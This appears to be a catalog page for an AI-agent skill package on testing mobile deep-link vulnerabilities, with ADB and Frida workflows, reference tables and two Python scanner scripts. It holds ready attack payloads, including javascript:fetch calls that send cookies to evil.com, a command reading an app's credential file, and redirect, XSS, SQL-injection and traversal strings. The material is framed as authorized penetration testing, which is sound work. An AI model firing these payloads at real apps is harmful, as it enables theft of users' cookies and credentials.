mobile security

Exploiting Deep Link Vulnerabilities

Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security testing, URL scheme exploitation, mobile intent abuse, or link hijacking.

androiddeep-linksiosmobile-securityowasp-mobilepenetration-testing
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

Use this skill when:

  • Assessing mobile app deep link handling for injection and redirect vulnerabilities
  • Testing Android intent filters and iOS URL scheme handlers for unauthorized access
  • Evaluating App Links (Android) and Universal Links (iOS) verification
  • Testing for link hijacking via competing app registrations

Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.

Prerequisites

  • Android device with ADB or iOS device with Objection/Frida
  • APK decompiled with apktool or JADX for AndroidManifest.xml analysis
  • Knowledge of target app's registered URL schemes and intent filters
  • Drozer for Android intent testing
  • Burp Suite for intercepting deep link-triggered API calls

Workflow

Step 1: Enumerate Deep Link Entry Points

Android - Extract from AndroidManifest.xml:

# Decompile APK
apktool d target.apk -o decompiled/
 
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
 
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - Extract from Info.plist:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
 
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
 
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association

Step 2: Test Deep Link Injection

Android via ADB:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app
 
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app
 
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app
 
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
 
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app

iOS via Safari or command line:

# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
 
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'

Step 3: Test Link Hijacking

Android:

# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>
 
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
 
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking

Step 4: Test WebView Deep Link Loading

# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
 
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
 
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"

Step 5: Assess Parameter Validation

Test each deep link parameter for:

  • SQL injection in parameters that query local databases
  • Path traversal in file path parameters
  • SSRF in URL parameters that trigger server requests
  • Authentication bypass via user_id or session parameters

Key Concepts

Term Definition
Custom URL Scheme App-registered protocol (myapp://) that routes to specific app handlers when invoked
App Links (Android) Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app
Universal Links (iOS) Apple's verified deep linking using apple-app-site-association JSON file on the web domain
Intent Hijacking Malicious app intercepting deep links by registering the same URL scheme or intent filter
WebView Bridge JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs

Tools & Systems

  • ADB: Android command-line tool for invoking deep links via am start
  • Drozer: Android security framework for testing intent-based attack surface
  • apktool: APK decompiler for extracting AndroidManifest.xml and intent filter definitions
  • Frida: Dynamic instrumentation for hooking URL scheme handlers at runtime
  • Burp Suite: Proxy for intercepting API calls triggered by deep link navigation

Common Pitfalls

  • App Links verification: Android App Links with verified domain associations are resistant to hijacking. Check assetlinks.json at https://domain/.well-known/assetlinks.json.
  • Fragment handling: Some apps process URL fragments (#) differently than query parameters (?). Test both.
  • Encoding bypass: URL-encode payloads to bypass client-side input filtering in deep link handlers.
  • Multi-step deep links: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.5 KB

API Reference: Deep Link Vulnerability Testing

Android Deep Links

AndroidManifest.xml Configuration

<activity android:name=".DeepLinkActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data android:scheme="myapp" android:host="open"/>
    </intent-filter>
</activity>

ADB Testing

adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://open/path?param=value" com.target.app

Intent URI Scheme

intent://path#Intent;scheme=myapp;package=com.target.app;end

iOS URL Schemes

Info.plist Configuration

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>myapp</string>
        </array>
    </dict>
</array>

Universal Links (apple-app-site-association)

{
  "applinks": {
    "apps": [],
    "details": [{
      "appID": "TEAM_ID.com.example.app",
      "paths": ["/open/*", "/product/*"]
    }]
  }
}

Vulnerability Types

Type Risk Description
Open Redirect HIGH Deep link redirects to attacker URL
JavaScript Injection CRITICAL Code execution in WebView
Parameter Theft HIGH Token/credential exfiltration
Intent Redirect HIGH Android intent hijacking
Path Traversal MEDIUM Access unintended app sections

Attack Payloads

Open Redirect

myapp://open?redirect=https://evil.com
myapp://open?url=javascript:alert(document.cookie)

WebView JavaScript

myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie)

Parameter Injection

myapp://auth?token=stolen&callback=https://evil.com

Frida — Runtime Deep Link Testing

Hook URL Handler (Android)

Java.perform(function() {
    var Activity = Java.use("android.app.Activity");
    Activity.onNewIntent.implementation = function(intent) {
        console.log("Deep link: " + intent.getData().toString());
        this.onNewIntent(intent);
    };
});

Hook URL Handler (iOS)

var handler = ObjC.classes.AppDelegate["- application:openURL:options:"];
Interceptor.attach(handler.implementation, {
    onEnter: function(args) {
        var url = ObjC.Object(args[3]);
        console.log("URL scheme: " + url.toString());
    }
});
standards.md1.0 KB

Standards Reference: Deep Link Vulnerabilities

OWASP Mobile Top 10 2024

ID Risk Deep Link Relevance
M4 Insufficient Input/Output Validation Injection via deep link parameters
M8 Security Misconfiguration Unverified App Links, missing scheme validation

OWASP MASVS v2.0 - MASVS-PLATFORM

Control Test
MASVS-PLATFORM-1 App validates deep link parameters before processing
MASVS-PLATFORM-2 App does not expose sensitive functionality via URL schemes

CWE Mappings

CWE Title Attack Vector
CWE-939 Improper Authorization in Handler for Custom URL Scheme Scheme hijacking
CWE-940 Improper Verification of Source in URL Scheme Handler Missing origin validation
CWE-79 Cross-site Scripting JavaScript injection via WebView deep links
CWE-601 URL Redirection to Untrusted Site Open redirect via URL parameter
workflows.md1.3 KB

Workflows: Deep Link Vulnerability Testing

Workflow 1: Deep Link Assessment

[Extract Manifest/Plist] --> [Enumerate schemes] --> [Test each deep link]
                                                          |
                                           +--------------+--------------+
                                           |              |              |
                                    [Parameter injection] [Redirect test] [WebView loading]
                                    [SQL/XSS/Path trav]  [Open redirect]  [JS injection]
                                           |              |              |
                                           +--------------+--------------+
                                                          |
                                                   [Link hijacking test]
                                                   [App Links verification]
                                                   [Report findings]

Decision Matrix

Scheme Type Hijacking Risk Mitigation
Custom (myapp://) HIGH - any app can register Validate calling app, use App Links
App Links (verified) LOW - domain verified Ensure assetlinks.json is correct
Universal Links LOW - domain verified Ensure AASA file is correct

Scripts 2

agent.py4.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for testing deep link / custom URL scheme vulnerabilities in mobile apps."""

import argparse
import json
import re
import subprocess
from datetime import datetime, timezone


ANDROID_SCHEME_PATTERN = re.compile(
    r'<intent-filter[^>]*>.*?<data\s+android:scheme="([^"]+)".*?</intent-filter>',
    re.DOTALL
)
ANDROID_HOST_PATTERN = re.compile(r'android:host="([^"]+)"')

IOS_SCHEME_PATTERN = re.compile(r'<string>(\w+)</string>\s*</array>\s*<key>CFBundleURLName')
IOS_UNIVERSAL_PATTERN = re.compile(r'"applinks:\s*([\w.-]+)"')


def analyze_android_manifest(manifest_path):
    """Parse AndroidManifest.xml for deep link configurations."""
    findings = []
    try:
        with open(manifest_path, "r", errors="replace") as f:
            content = f.read()
    except FileNotFoundError:
        return findings

    for match in ANDROID_SCHEME_PATTERN.finditer(content):
        block = match.group(0)
        scheme = match.group(1)
        hosts = ANDROID_HOST_PATTERN.findall(block)
        exported = "android:exported=\"true\"" in block or "android:exported" not in block
        findings.append({
            "scheme": scheme,
            "hosts": hosts,
            "exported": exported,
            "block": block[:200],
            "risk": "HIGH" if exported and scheme not in ("https", "http") else "MEDIUM",
        })
    return findings


def analyze_ios_plist(plist_path):
    """Parse iOS Info.plist for URL scheme and universal link configurations."""
    findings = []
    try:
        with open(plist_path, "r", errors="replace") as f:
            content = f.read()
    except FileNotFoundError:
        return findings

    for match in IOS_SCHEME_PATTERN.finditer(content):
        findings.append({
            "type": "custom_url_scheme",
            "scheme": match.group(1),
            "risk": "HIGH",
            "note": "Custom URL schemes lack origin verification",
        })

    for match in IOS_UNIVERSAL_PATTERN.finditer(content):
        findings.append({
            "type": "universal_link",
            "domain": match.group(1),
            "risk": "LOW",
            "note": "Universal links verify domain ownership",
        })
    return findings


def test_deep_link_injection(scheme, host, path, payload):
    """Construct and test a deep link injection payload."""
    test_url = f"{scheme}://{host}{path}{payload}"
    return {
        "test_url": test_url,
        "payload": payload,
        "vectors": [
            "Open redirect via deep link",
            "JavaScript execution in WebView",
            "Parameter injection",
            "Intent redirection (Android)",
        ],
    }


def check_adb_deep_link(package, uri):
    """Test Android deep link via ADB."""
    cmd = ["adb", "shell", "am", "start", "-W",
           "-a", "android.intent.action.VIEW",
           "-d", uri, package]
    try:
        result = subprocess.check_output(cmd, text=True, errors="replace", timeout=15)
        return {"uri": uri, "status": "launched", "output": result[:300]}
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"uri": uri, "status": "failed"}


def main():
    parser = argparse.ArgumentParser(
        description="Test deep link / URL scheme vulnerabilities (authorized testing only)"
    )
    parser.add_argument("--android-manifest", help="Path to AndroidManifest.xml")
    parser.add_argument("--ios-plist", help="Path to Info.plist")
    parser.add_argument("--test-scheme", help="URL scheme to test")
    parser.add_argument("--test-host", help="Host for deep link test")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Deep Link Vulnerability Testing Agent")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}

    if args.android_manifest:
        android = analyze_android_manifest(args.android_manifest)
        report["findings"].extend(android)
        print(f"[*] Android deep links found: {len(android)}")

    if args.ios_plist:
        ios = analyze_ios_plist(args.ios_plist)
        report["findings"].extend(ios)
        print(f"[*] iOS URL schemes found: {len(ios)}")

    if args.test_scheme and args.test_host:
        payloads = [
            "?redirect=https://evil.com",
            "#javascript:alert(1)",
            "?token=stolen&callback=https://evil.com",
            "/../../sensitive-path",
        ]
        for p in payloads:
            result = test_deep_link_injection(args.test_scheme, args.test_host, "/", p)
            report["findings"].append(result)

    report["risk_level"] = "HIGH" if report["findings"] else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
process.py6.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Deep Link Vulnerability Scanner

Extracts deep link definitions from AndroidManifest.xml and tests for common vulnerabilities.

Usage:
    python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
"""

import argparse
import json
import subprocess
import sys
import xml.etree.ElementTree as ET
from datetime import datetime
from pathlib import Path


def extract_deep_links(manifest_path: str) -> list:
    """Extract deep link definitions from AndroidManifest.xml."""
    tree = ET.parse(manifest_path)
    root = tree.getroot()
    ns = {"android": "http://schemas.android.com/apk/res/android"}

    deep_links = []

    for activity in root.findall(".//activity"):
        activity_name = activity.get(f"{{{ns['android']}}}name", "unknown")
        exported = activity.get(f"{{{ns['android']}}}exported", "false")

        for intent_filter in activity.findall("intent-filter"):
            actions = [a.get(f"{{{ns['android']}}}name", "") for a in intent_filter.findall("action")]
            categories = [c.get(f"{{{ns['android']}}}name", "") for c in intent_filter.findall("category")]

            if "android.intent.action.VIEW" not in actions:
                continue

            for data in intent_filter.findall("data"):
                scheme = data.get(f"{{{ns['android']}}}scheme", "")
                host = data.get(f"{{{ns['android']}}}host", "")
                path = data.get(f"{{{ns['android']}}}path", "")
                path_prefix = data.get(f"{{{ns['android']}}}pathPrefix", "")
                path_pattern = data.get(f"{{{ns['android']}}}pathPattern", "")

                if scheme:
                    deep_links.append({
                        "activity": activity_name,
                        "exported": exported,
                        "scheme": scheme,
                        "host": host,
                        "path": path or path_prefix or path_pattern or "/",
                        "browsable": "android.intent.category.BROWSABLE" in categories,
                        "url": f"{scheme}://{host}{path or path_prefix or path_pattern or '/'}",
                    })

    return deep_links


def assess_deep_link_security(deep_links: list) -> list:
    """Assess security of discovered deep links."""
    findings = []

    for link in deep_links:
        issues = []

        # Custom scheme (not https) - hijacking risk
        if link["scheme"] not in ("http", "https"):
            issues.append({
                "issue": "custom_scheme_hijackable",
                "severity": "HIGH",
                "description": f"Custom scheme '{link['scheme']}://' can be registered by any app",
            })

        # Exported activity without specific path
        if link["exported"] == "true" and link["path"] == "/":
            issues.append({
                "issue": "broad_path_matching",
                "severity": "MEDIUM",
                "description": "Activity matches all paths - wide attack surface",
            })

        # Browsable without verified links
        if link["browsable"] and link["scheme"] not in ("http", "https"):
            issues.append({
                "issue": "browsable_custom_scheme",
                "severity": "MEDIUM",
                "description": "Browsable intent with custom scheme invocable from web browsers",
            })

        if issues:
            findings.append({
                "deep_link": link["url"],
                "activity": link["activity"],
                "issues": issues,
            })

    return findings


def generate_test_commands(deep_links: list, package: str) -> list:
    """Generate ADB commands for testing deep links."""
    commands = []
    injection_payloads = [
        ("redirect_test", "?redirect=https://evil.com"),
        ("xss_test", "?q=<script>alert(1)</script>"),
        ("path_traversal", "/../../../etc/passwd"),
        ("sql_injection", "?id=1' OR '1'='1"),
    ]

    for link in deep_links:
        base_url = link["url"]

        # Basic invocation
        commands.append({
            "name": f"invoke_{link['activity']}",
            "command": f'adb shell am start -a android.intent.action.VIEW -d "{base_url}" {package}',
            "type": "basic",
        })

        # Injection tests
        for test_name, payload in injection_payloads:
            commands.append({
                "name": f"{test_name}_{link['activity']}",
                "command": f'adb shell am start -a android.intent.action.VIEW -d "{base_url}{payload}" {package}',
                "type": test_name,
            })

    return commands


def main():
    parser = argparse.ArgumentParser(description="Deep Link Vulnerability Scanner")
    parser.add_argument("--manifest", required=True, help="Path to AndroidManifest.xml")
    parser.add_argument("--package", default="com.target.app", help="Package name")
    parser.add_argument("--output", default="deeplink_report.json", help="Output report")
    args = parser.parse_args()

    if not Path(args.manifest).exists():
        print(f"[-] File not found: {args.manifest}")
        sys.exit(1)

    print("[*] Extracting deep links...")
    deep_links = extract_deep_links(args.manifest)
    print(f"[+] Found {len(deep_links)} deep link definitions")

    print("[*] Assessing security...")
    findings = assess_deep_link_security(deep_links)

    print("[*] Generating test commands...")
    commands = generate_test_commands(deep_links, args.package)

    report = {
        "scan": {
            "manifest": args.manifest,
            "package": args.package,
            "date": datetime.now().isoformat(),
        },
        "deep_links": deep_links,
        "findings": findings,
        "test_commands": commands,
        "summary": {
            "total_deep_links": len(deep_links),
            "total_findings": len(findings),
            "test_commands_generated": len(commands),
        },
    }

    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)

    print(f"[+] Report saved: {args.output}")
    for f in findings:
        for issue in f["issues"]:
            print(f"    [{issue['severity']}] {f['deep_link']}: {issue['issue']}")


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 0.7 KB
Keep exploring